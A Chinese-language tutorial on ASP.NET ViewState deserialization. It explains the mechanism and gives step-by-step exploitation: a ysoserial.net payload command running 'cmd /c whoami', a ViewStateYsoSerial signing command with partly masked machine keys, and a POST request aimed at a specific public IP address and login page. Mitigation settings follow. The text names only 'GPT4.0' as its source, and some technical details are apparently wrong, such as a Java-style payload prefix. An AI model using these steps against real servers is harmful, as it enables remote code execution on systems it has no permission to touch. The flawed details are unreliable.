深入解析 ASP.NET 的 ViewState 反序列化漏洞

1.  ViewState 基本知识

1.1 什么是 ViewState

ViewState 是 ASP.NET（Active Server Pages .NET）框架用来保持页面状态的一种机制。ASP.NET 是微软开发的用于动态网页服务器端开发的框架，ViewState 是其中用于维护和管理页面状态的一部分。它在客户端和服务器之间存储页面和控件的状态。

1.2 ViewState 的工作原理

1. 保存页面状态: 每次页面请求和响应，服务器端控件的状态信息需要保存在客户端，待下一次请求时恢复。ViewState 就是在页面生成过程中将控件状态编码并嵌入到页面的隐藏字段中。

2. 在客户端存储和传输: ViewState 的数据以 Base64 编码格式存储在页面中的一个名为 __VIEWSTATE 的隐藏字段里，随每次表单提交一起传输到服务器。

3. 恢复页面状态: 页面在提交到服务器后，ASP.NET 会将 __VIEWSTATE 字段的数据提取出来进行解码并恢复控件的状态

1.3 实现细节

在典型的 ASP.NET 页面上，ViewState 数据通常类似如下：

<form id="form1" runat="server">
  <div>
    <input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE" value="dDwtNzI4MjcyOTUzO3Q8O2w8aTwxPjs+" />
    <!-- 其他表单控件 -->
  </div>
</form>

解释:

• __VIEWSTATE 的 value 属性存储了编码后的数据，这些数据包含了控件的状态信息。

1.4 ViewState的优势和缺点

优势:

1. 简单实现状态保持：不需要开发者额外的编码，ASP.NET 内部就能自动管理控件的状态。
2. 减少服务器负载：状态数据存储在客户端，减少服务器存储的压力。

缺点:

1. 带宽占用：ViewState 数据直接嵌入到 HTML 中，会增加页面大小，从而影响性能。
2. 安全问题：如果不加密和未正确校验的话，ViewState 数据可能被篡改，进而带来安全隐患。

2. 漏洞形成原因和漏洞利用原理

2.1 漏洞形成原因

1. ViewState 未加密：如果 ViewState 未加密，攻击者可以通过篡改 ViewState 内容植入恶意代码。
2. ViewState 未签名或签名不严密：未经签名或者签名不严密的 ViewState 可能被攻击者修改，并在服务器上反序列化执行，从而导致代码执行漏洞。

2.2 漏洞利用原理

利用 ViewState 反序列化漏洞，攻击者可以通过伪造序列化对象，使得 ViewState 执行其嵌入的恶意代码，从而在服务器端执行任意代码（RCE - Remote Code Execution）。

3. 漏洞验证

3.1 提取ViewState数据

通过网页源码提取到 ViewState 数据：

<input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE" value="POVu3JjlPFxLXHTPREYtUzNM**************************************************************************************ptQ==" />

上面的内容从value属性中提取得到的值是我们需要的重要数据：

POVu3JjlPFxLXHT***********************************************************************************/ptQ==

3.2 使用EnumerationKey解码ViewState数据

接下来，使用EnumerationKey工具来解码ViewState数据，并找到密钥信息。请按照工具的要求提供相关输入：

1. Modifier: 一般会从页面源代码或服务端配置中进行设置。
2. Key Path: 指定密钥文件路径，通常包含服务器/应用程序密钥。
3. ViewState Data: 提取到的长字符串作为ViewState数据输入。

3.3 解码并分析ViewState数据

根据成功率，在完成解密验证后，您会得到相关信息，例如：

• IsEncrypted: True
• Validation: SHA1
• ValidationKey: <Value>
• Decryption: TripleDES
• DecryptionKey: <Value>

3.4 生成恶意ViewState数据

1. 使用ysoserial.net生成payload： 假设要生成一个执行cmd /c whoami命令的ViewState payload：

   ysoserial.exe -g ActivitySurrogateSelector -p "cmd /c whoami" -o base64
   

2. 结合解元信息：

   将生成的payload结合刚刚提取的关键信息进行加密和签名。使用例如ViewStateYsoSerial工具进行操作：

   ViewStateYsoSerial.exe -validationKey 319B474B1******************************* -decryptionKey 280450B********************************* -validation SHA1 -decryption TripleDES -payload rO0ABXNyAC...
   

   最终得到的新ViewState内容。

3.5 发送payload请求

1. 使用Burp Suite或Postman: 拦截并编辑请求，替换原始的ViewState值为容恶意的ViewState数据。

   POST /FLoginNew.aspx HTTP/1.1
   Host: 106.14.218.28
   Content-Type: application/x-www-form-urlencoded
   Content-Length: 1000
   
   __VIEWSTATE=生成的新恶意ViewState内容&其他参数...
   

2. 验证执行结果: 观察执行结果，如命令whoami返回服务器用户名，则证明漏洞利用成功。

4. 漏洞修复

为了防止ViewState反序列化漏洞，可以进行以下修复措施：

1. 启用ViewState MAC验证（消息认证码）

启用并确保 ViewState 消息认证码验证 (MAC)，以防止未授权的篡改：

在 web.config 文件中，确保设置了正确的 machineKey：

<system.web>
  <machineKey validationKey="AutoGenerate,IsolateApps" decryptionKey="AutoGenerate,IsolateApps" validation="HMACSHA256" decryption="AES" />
</system.web>

这个配置会对 ViewState 数据进行签名操作，保证数据的完整性和真实性。如果数据在传输过程中被篡改，服务器将会识别出来并拒绝。

2. 启用ViewState加密

确保 ViewState 数据传输是加密的，可以防止敏感数据被窃取：

在 web.config 文件中，配置 ViewState 加密：

<system.web>
  <pages enableViewStateMac="true" viewStateEncryptionMode="Always" />
</system.web>

将 viewStateEncryptionMode 设置为 "Always" 确保所有 ViewState 数据都将进行加密处理。

3. 升级到最新的ASP.NET版本

将您的 ASP.NET 框架升级到最新版本，最新版本中针对 ViewState 安全性进行了多个改进：

确保您的应用程序和服务器运行在最新版本的 ASP.NET 和 .NET Framework 上。

4. 限制反序列化对象的类型

限制 ASP.NET 只允许序列化和反序列化必要的安全类型：

启用 ASP.NET 4.5 引入的 ViewStateUserKey 机制，绑定 ViewState 数据到用户会话。

6. 安全编码和验证

1. 输入验证:

   确保所有用户输入都经过严格验证和过滤，避免恶意代码注入。

2. 反序列化过滤:

   在反序列化数据前，确保已经对数据进行了完整性检查和验证。

5. 总结

在本文中，我们深入探讨了 ASP.NET 中的 ViewState 反序列化漏洞，包括其原理、如何验证漏洞的存在、以及如何修复漏洞。通过全面理解该漏洞的工作机制，我们可以更加有效地保护应用程序免受攻击。

关键点回顾：

1. ViewState 反序列化漏洞原理：

   • ViewState 通过 Base64 编码，将页面和控件的状态信息传递给客户端和服务器。
   • 如果 ViewState 未加密或未正确签名，攻击者可以篡改 ViewState 数据并执行恶意代码。

2. 验证漏洞存在：

   • 通过提取网页源代码中的 ViewState 数据，并使用工具来生成和验证恶意的 ViewState payload，测试服务器是否存在漏洞。

3. 修复漏洞的方法：

   • 启用 ViewState 的 MAC 验证和加密，以确保数据完整性和安全性。
   • 升级到最新版本的 ASP.NET 框架，获取最新的安全改进。
   • 限制 ViewState 的使用，仅在必要时启用，并采用安全的编码实践和严格的数据验证。

4. 安全实践：

   • 定期审计和更新安全配置，确保应用程序持续处于最佳安全状态。
   • 采用全面的安全编码和验证措施，避免潜在的安全风险。

参考资料：

GPT4.0